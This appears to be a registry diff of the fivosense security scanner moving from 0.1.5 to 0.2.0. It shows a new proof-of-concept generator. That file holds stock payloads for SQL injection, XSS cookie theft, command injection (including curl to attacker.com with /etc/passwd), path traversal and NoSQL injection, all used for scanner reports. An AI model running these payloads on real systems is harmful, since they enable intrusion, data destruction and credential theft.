fivosense 0.1.5 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.kilo/skill/fivosense/skill.json +5 -5
- package/COMPLETE_SUMMARY.md +412 -0
- package/DEPLOYMENT_GUIDE.md +2 -2
- package/FINAL_VERIFICATION.md +316 -0
- package/GITHUB_PUSH.md +4 -4
- package/LICENSE +1 -1
- package/README.md +290 -208
- package/RELEASE_READY.md +3 -3
- package/bin/fivosense.mjs +6 -0
- package/dist/ai/client.d.ts +33 -0
- package/dist/ai/client.d.ts.map +1 -0
- package/dist/ai/client.js +170 -0
- package/dist/ai/client.js.map +1 -0
- package/dist/ai/judge.d.ts +9 -3
- package/dist/ai/judge.d.ts.map +1 -1
- package/dist/ai/judge.js +49 -14
- package/dist/ai/judge.js.map +1 -1
- package/dist/cli/index.d.ts +3 -1
- package/dist/cli/index.d.ts.map +1 -1
- package/dist/cli/index.js +6 -1
- package/dist/cli/index.js.map +1 -1
- package/dist/core/orchestrator.d.ts +34 -0
- package/dist/core/orchestrator.d.ts.map +1 -0
- package/dist/core/orchestrator.js +211 -0
- package/dist/core/orchestrator.js.map +1 -0
- package/dist/core/scope.d.ts +32 -0
- package/dist/core/scope.d.ts.map +1 -0
- package/dist/core/scope.js +149 -0
- package/dist/core/scope.js.map +1 -0
- package/dist/editors/vscode.d.ts +4 -2
- package/dist/editors/vscode.d.ts.map +1 -1
- package/dist/editors/vscode.js +6 -0
- package/dist/editors/vscode.js.map +1 -1
- package/dist/engine/adversary.d.ts +9 -2
- package/dist/engine/adversary.d.ts.map +1 -1
- package/dist/engine/adversary.js +47 -13
- package/dist/engine/adversary.js.map +1 -1
- package/dist/engine/graph.d.ts +4 -1
- package/dist/engine/graph.d.ts.map +1 -1
- package/dist/engine/graph.js +6 -0
- package/dist/engine/graph.js.map +1 -1
- package/dist/engine/poc.d.ts +26 -0
- package/dist/engine/poc.d.ts.map +1 -0
- package/dist/engine/poc.js +179 -0
- package/dist/engine/poc.js.map +1 -0
- package/dist/engine/reach.d.ts +4 -2
- package/dist/engine/reach.d.ts.map +1 -1
- package/dist/engine/reach.js +6 -0
- package/dist/engine/reach.js.map +1 -1
- package/dist/engine/sinks.d.ts +22 -32
- package/dist/engine/sinks.d.ts.map +1 -1
- package/dist/engine/sinks.js +338 -44
- package/dist/engine/sinks.js.map +1 -1
- package/dist/engine/sources.d.ts +11 -19
- package/dist/engine/sources.d.ts.map +1 -1
- package/dist/engine/sources.js +100 -24
- package/dist/engine/sources.js.map +1 -1
- package/dist/engine/taint.d.ts +6 -0
- package/dist/engine/taint.d.ts.map +1 -1
- package/dist/engine/taint.js +6 -0
- package/dist/engine/taint.js.map +1 -1
- package/dist/engine/verify.d.ts +4 -1
- package/dist/engine/verify.d.ts.map +1 -1
- package/dist/engine/verify.js +6 -0
- package/dist/engine/verify.js.map +1 -1
- package/dist/features/badge.d.ts +6 -0
- package/dist/features/badge.d.ts.map +1 -1
- package/dist/features/badge.js +4 -1
- package/dist/features/badge.js.map +1 -1
- package/dist/features/fix.d.ts +6 -0
- package/dist/features/fix.d.ts.map +1 -1
- package/dist/features/fix.js +4 -1
- package/dist/features/fix.js.map +1 -1
- package/dist/features/index.d.ts +6 -0
- package/dist/features/index.d.ts.map +1 -1
- package/dist/features/index.js +6 -0
- package/dist/features/index.js.map +1 -1
- package/dist/features/roast.d.ts +6 -0
- package/dist/features/roast.d.ts.map +1 -1
- package/dist/features/roast.js +4 -1
- package/dist/features/roast.js.map +1 -1
- package/dist/hooks/agent.d.ts +4 -1
- package/dist/hooks/agent.d.ts.map +1 -1
- package/dist/hooks/agent.js +6 -0
- package/dist/hooks/agent.js.map +1 -1
- package/dist/hooks/git.d.ts +34 -0
- package/dist/hooks/git.d.ts.map +1 -0
- package/dist/hooks/git.js +161 -0
- package/dist/hooks/git.js.map +1 -0
- package/dist/index.d.ts +4 -2
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +6 -0
- package/dist/index.js.map +1 -1
- package/dist/rules/destructive.d.ts +12 -21
- package/dist/rules/destructive.d.ts.map +1 -1
- package/dist/rules/destructive.js +306 -24
- package/dist/rules/destructive.js.map +1 -1
- package/dist/rules/secrets.d.ts +8 -10
- package/dist/rules/secrets.d.ts.map +1 -1
- package/dist/rules/secrets.js +294 -17
- package/dist/rules/secrets.js.map +1 -1
- package/mcp/index.js +55 -20
- package/mcp/package-lock.json +382 -0
- package/mcp/package.json +21 -4
- package/package.json +5 -5
- package/src/ai/client.ts +226 -0
- package/src/ai/judge.ts +58 -14
- package/src/cli/index.ts +7 -1
- package/src/core/orchestrator.ts +266 -0
- package/src/core/scope.ts +175 -0
- package/src/editors/vscode.ts +7 -0
- package/src/engine/adversary.ts +55 -12
- package/src/engine/graph.ts +7 -0
- package/src/engine/poc.ts +219 -0
- package/src/engine/reach.ts +7 -0
- package/src/engine/sinks.ts +358 -45
- package/src/engine/sources.ts +109 -24
- package/src/engine/taint.ts +7 -0
- package/src/engine/verify.ts +7 -0
- package/src/features/badge.ts +7 -0
- package/src/features/fix.ts +7 -0
- package/src/features/index.ts +7 -0
- package/src/features/roast.ts +7 -0
- package/src/hooks/agent.ts +7 -0
- package/src/hooks/git.ts +194 -0
- package/src/index.ts +7 -0
- package/src/rules/destructive.ts +316 -26
- package/src/rules/secrets.ts +306 -17
- package/vscode-extension/CHANGELOG.md +14 -2
- package/vscode-extension/LICENSE +1 -1
- package/vscode-extension/README.md +28 -23
- package/vscode-extension/fivosense-vscode-0.1.0.vsix +0 -0
- package/vscode-extension/fivosense-vscode-0.1.1.vsix +0 -0
- package/vscode-extension/package-lock.json +6 -6
- package/vscode-extension/package.json +7 -5
- package/vscode-extension/src/extension.ts +65 -11
|
@@ -0,0 +1,219 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* FivoSense - AI Security Scanner
|
|
3
|
+
* Copyright (c) 2026 thevinsoni
|
|
4
|
+
* Licensed under the MIT License
|
|
5
|
+
* https://github.com/thevinsoni/sense
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
/**
|
|
9
|
+
* PoC Generator - Generate proof-of-concept exploits
|
|
10
|
+
*/
|
|
11
|
+
|
|
12
|
+
import { TaintTrace } from '../engine/taint.js';
|
|
13
|
+
|
|
14
|
+
export interface PoCTest {
|
|
15
|
+
category: string;
|
|
16
|
+
payload: string;
|
|
17
|
+
expectedBehavior: string;
|
|
18
|
+
testCode: string;
|
|
19
|
+
curlCommand?: string;
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
/**
|
|
23
|
+
* Generate SQL injection PoC
|
|
24
|
+
*/
|
|
25
|
+
function generateSQLPoC(trace: TaintTrace): PoCTest {
|
|
26
|
+
const payloads = [
|
|
27
|
+
"' OR '1'='1",
|
|
28
|
+
"'; DROP TABLE users--",
|
|
29
|
+
"' UNION SELECT NULL, username, password FROM users--",
|
|
30
|
+
];
|
|
31
|
+
|
|
32
|
+
const payload = payloads[0];
|
|
33
|
+
|
|
34
|
+
return {
|
|
35
|
+
category: 'SQL Injection',
|
|
36
|
+
payload,
|
|
37
|
+
expectedBehavior: 'Bypasses authentication or extracts data',
|
|
38
|
+
testCode: `
|
|
39
|
+
// Test SQL Injection
|
|
40
|
+
const maliciousInput = "${payload}";
|
|
41
|
+
const query = "SELECT * FROM users WHERE id = '" + maliciousInput + "'";
|
|
42
|
+
// Expected: Query becomes: SELECT * FROM users WHERE id = '' OR '1'='1'
|
|
43
|
+
// Result: Returns all users (authentication bypass)
|
|
44
|
+
`,
|
|
45
|
+
curlCommand: trace.path.includes('req.')
|
|
46
|
+
? `curl -X POST http://localhost:3000/api/endpoint -d "id=${encodeURIComponent(payload)}"`
|
|
47
|
+
: undefined,
|
|
48
|
+
};
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
/**
|
|
52
|
+
* Generate XSS PoC
|
|
53
|
+
*/
|
|
54
|
+
function generateXSSPoC(trace: TaintTrace): PoCTest {
|
|
55
|
+
const payloads = [
|
|
56
|
+
'<script>alert(document.cookie)</script>',
|
|
57
|
+
'<img src=x onerror=alert(1)>',
|
|
58
|
+
'<svg onload=alert(1)>',
|
|
59
|
+
];
|
|
60
|
+
|
|
61
|
+
const payload = payloads[0];
|
|
62
|
+
|
|
63
|
+
return {
|
|
64
|
+
category: 'Cross-Site Scripting (XSS)',
|
|
65
|
+
payload,
|
|
66
|
+
expectedBehavior: 'Executes JavaScript in victim browser',
|
|
67
|
+
testCode: `
|
|
68
|
+
// Test XSS
|
|
69
|
+
const maliciousInput = "${payload}";
|
|
70
|
+
document.getElementById('output').innerHTML = maliciousInput;
|
|
71
|
+
// Expected: Script executes, shows alert with cookies
|
|
72
|
+
// Impact: Session hijacking, data theft
|
|
73
|
+
`,
|
|
74
|
+
curlCommand: trace.path.includes('req.')
|
|
75
|
+
? `curl "http://localhost:3000/page?name=${encodeURIComponent(payload)}"`
|
|
76
|
+
: undefined,
|
|
77
|
+
};
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
/**
|
|
81
|
+
* Generate Command Injection PoC
|
|
82
|
+
*/
|
|
83
|
+
function generateCommandPoC(trace: TaintTrace): PoCTest {
|
|
84
|
+
const payloads = [
|
|
85
|
+
'; cat /etc/passwd',
|
|
86
|
+
'| whoami',
|
|
87
|
+
'&& curl attacker.com/?data=$(cat /etc/passwd)',
|
|
88
|
+
];
|
|
89
|
+
|
|
90
|
+
const payload = payloads[0];
|
|
91
|
+
|
|
92
|
+
return {
|
|
93
|
+
category: 'Command Injection',
|
|
94
|
+
payload,
|
|
95
|
+
expectedBehavior: 'Executes arbitrary system commands',
|
|
96
|
+
testCode: `
|
|
97
|
+
// Test Command Injection
|
|
98
|
+
const maliciousInput = "file.txt${payload}";
|
|
99
|
+
exec(\`cat \${maliciousInput}\`);
|
|
100
|
+
// Expected: Runs: cat file.txt; cat /etc/passwd
|
|
101
|
+
// Result: Leaks system password file
|
|
102
|
+
`,
|
|
103
|
+
curlCommand: trace.path.includes('req.')
|
|
104
|
+
? `curl -X POST http://localhost:3000/api/command -d "file=test.txt${encodeURIComponent(payload)}"`
|
|
105
|
+
: undefined,
|
|
106
|
+
};
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
/**
|
|
110
|
+
* Generate Path Traversal PoC
|
|
111
|
+
*/
|
|
112
|
+
function generatePathTraversalPoC(trace: TaintTrace): PoCTest {
|
|
113
|
+
const payloads = [
|
|
114
|
+
'../../../etc/passwd',
|
|
115
|
+
'..\\..\\..\\windows\\system32\\config\\sam',
|
|
116
|
+
'....//....//....//etc/passwd',
|
|
117
|
+
];
|
|
118
|
+
|
|
119
|
+
const payload = payloads[0];
|
|
120
|
+
|
|
121
|
+
return {
|
|
122
|
+
category: 'Path Traversal',
|
|
123
|
+
payload,
|
|
124
|
+
expectedBehavior: 'Reads files outside intended directory',
|
|
125
|
+
testCode: `
|
|
126
|
+
// Test Path Traversal
|
|
127
|
+
const maliciousInput = "${payload}";
|
|
128
|
+
fs.readFile(\`/uploads/\${maliciousInput}\`, (err, data) => {
|
|
129
|
+
// Expected: Reads /etc/passwd instead of /uploads/file
|
|
130
|
+
// Result: Exposes sensitive system files
|
|
131
|
+
});
|
|
132
|
+
`,
|
|
133
|
+
curlCommand: trace.path.includes('req.')
|
|
134
|
+
? `curl "http://localhost:3000/download?file=${encodeURIComponent(payload)}"`
|
|
135
|
+
: undefined,
|
|
136
|
+
};
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
/**
|
|
140
|
+
* Generate NoSQL Injection PoC
|
|
141
|
+
*/
|
|
142
|
+
function generateNoSQLPoC(trace: TaintTrace): PoCTest {
|
|
143
|
+
const payload = '{"$gt": ""}';
|
|
144
|
+
|
|
145
|
+
return {
|
|
146
|
+
category: 'NoSQL Injection',
|
|
147
|
+
payload,
|
|
148
|
+
expectedBehavior: 'Bypasses authentication or extracts data',
|
|
149
|
+
testCode: `
|
|
150
|
+
// Test NoSQL Injection
|
|
151
|
+
const maliciousInput = ${payload};
|
|
152
|
+
db.collection('users').find({ username: req.body.username, password: maliciousInput });
|
|
153
|
+
// Expected: Query matches all documents (password always > "")
|
|
154
|
+
// Result: Authentication bypass
|
|
155
|
+
`,
|
|
156
|
+
curlCommand: trace.path.includes('req.')
|
|
157
|
+
? `curl -X POST http://localhost:3000/login -H "Content-Type: application/json" -d '{"username":"admin","password":${payload}}'`
|
|
158
|
+
: undefined,
|
|
159
|
+
};
|
|
160
|
+
}
|
|
161
|
+
|
|
162
|
+
/**
|
|
163
|
+
* Generate PoC based on vulnerability type
|
|
164
|
+
*/
|
|
165
|
+
export function generatePoC(trace: TaintTrace): PoCTest {
|
|
166
|
+
switch (trace.category.toLowerCase()) {
|
|
167
|
+
case 'sql':
|
|
168
|
+
return generateSQLPoC(trace);
|
|
169
|
+
|
|
170
|
+
case 'xss':
|
|
171
|
+
return generateXSSPoC(trace);
|
|
172
|
+
|
|
173
|
+
case 'command':
|
|
174
|
+
return generateCommandPoC(trace);
|
|
175
|
+
|
|
176
|
+
case 'path':
|
|
177
|
+
return generatePathTraversalPoC(trace);
|
|
178
|
+
|
|
179
|
+
case 'nosql':
|
|
180
|
+
return generateNoSQLPoC(trace);
|
|
181
|
+
|
|
182
|
+
default:
|
|
183
|
+
return {
|
|
184
|
+
category: trace.category,
|
|
185
|
+
payload: '<malicious-input>',
|
|
186
|
+
expectedBehavior: 'Exploits vulnerability',
|
|
187
|
+
testCode: `
|
|
188
|
+
// Generic test for ${trace.category}
|
|
189
|
+
const maliciousInput = "<malicious-input>";
|
|
190
|
+
// Test with malicious input to verify vulnerability
|
|
191
|
+
`,
|
|
192
|
+
};
|
|
193
|
+
}
|
|
194
|
+
}
|
|
195
|
+
|
|
196
|
+
/**
|
|
197
|
+
* Format PoC as markdown
|
|
198
|
+
*/
|
|
199
|
+
export function formatPoCMarkdown(poc: PoCTest): string {
|
|
200
|
+
let md = `## ${poc.category} - Proof of Concept\n\n`;
|
|
201
|
+
|
|
202
|
+
md += `### Payload\n\`\`\`\n${poc.payload}\n\`\`\`\n\n`;
|
|
203
|
+
|
|
204
|
+
md += `### Expected Behavior\n${poc.expectedBehavior}\n\n`;
|
|
205
|
+
|
|
206
|
+
md += `### Test Code\n\`\`\`javascript${poc.testCode}\n\`\`\`\n\n`;
|
|
207
|
+
|
|
208
|
+
if (poc.curlCommand) {
|
|
209
|
+
md += `### HTTP Test\n\`\`\`bash\n${poc.curlCommand}\n\`\`\`\n\n`;
|
|
210
|
+
}
|
|
211
|
+
|
|
212
|
+
md += `### Mitigation\n`;
|
|
213
|
+
md += `- Use parameterized queries or prepared statements\n`;
|
|
214
|
+
md += `- Validate and sanitize all user input\n`;
|
|
215
|
+
md += `- Use allow-lists instead of block-lists\n`;
|
|
216
|
+
md += `- Apply principle of least privilege\n`;
|
|
217
|
+
|
|
218
|
+
return md;
|
|
219
|
+
}
|
package/src/engine/reach.ts
CHANGED
|
@@ -1,3 +1,10 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* FivoSense - AI Security Scanner
|
|
3
|
+
* Copyright (c) 2026 thevinsoni
|
|
4
|
+
* Licensed under the MIT License
|
|
5
|
+
* https://github.com/thevinsoni/sense
|
|
6
|
+
*/
|
|
7
|
+
|
|
1
8
|
/**
|
|
2
9
|
* Reachability Analysis - Filters code to only entry-point reachable paths
|
|
3
10
|
* This reduces analysis surface by ~97% (OpenAnt research)
|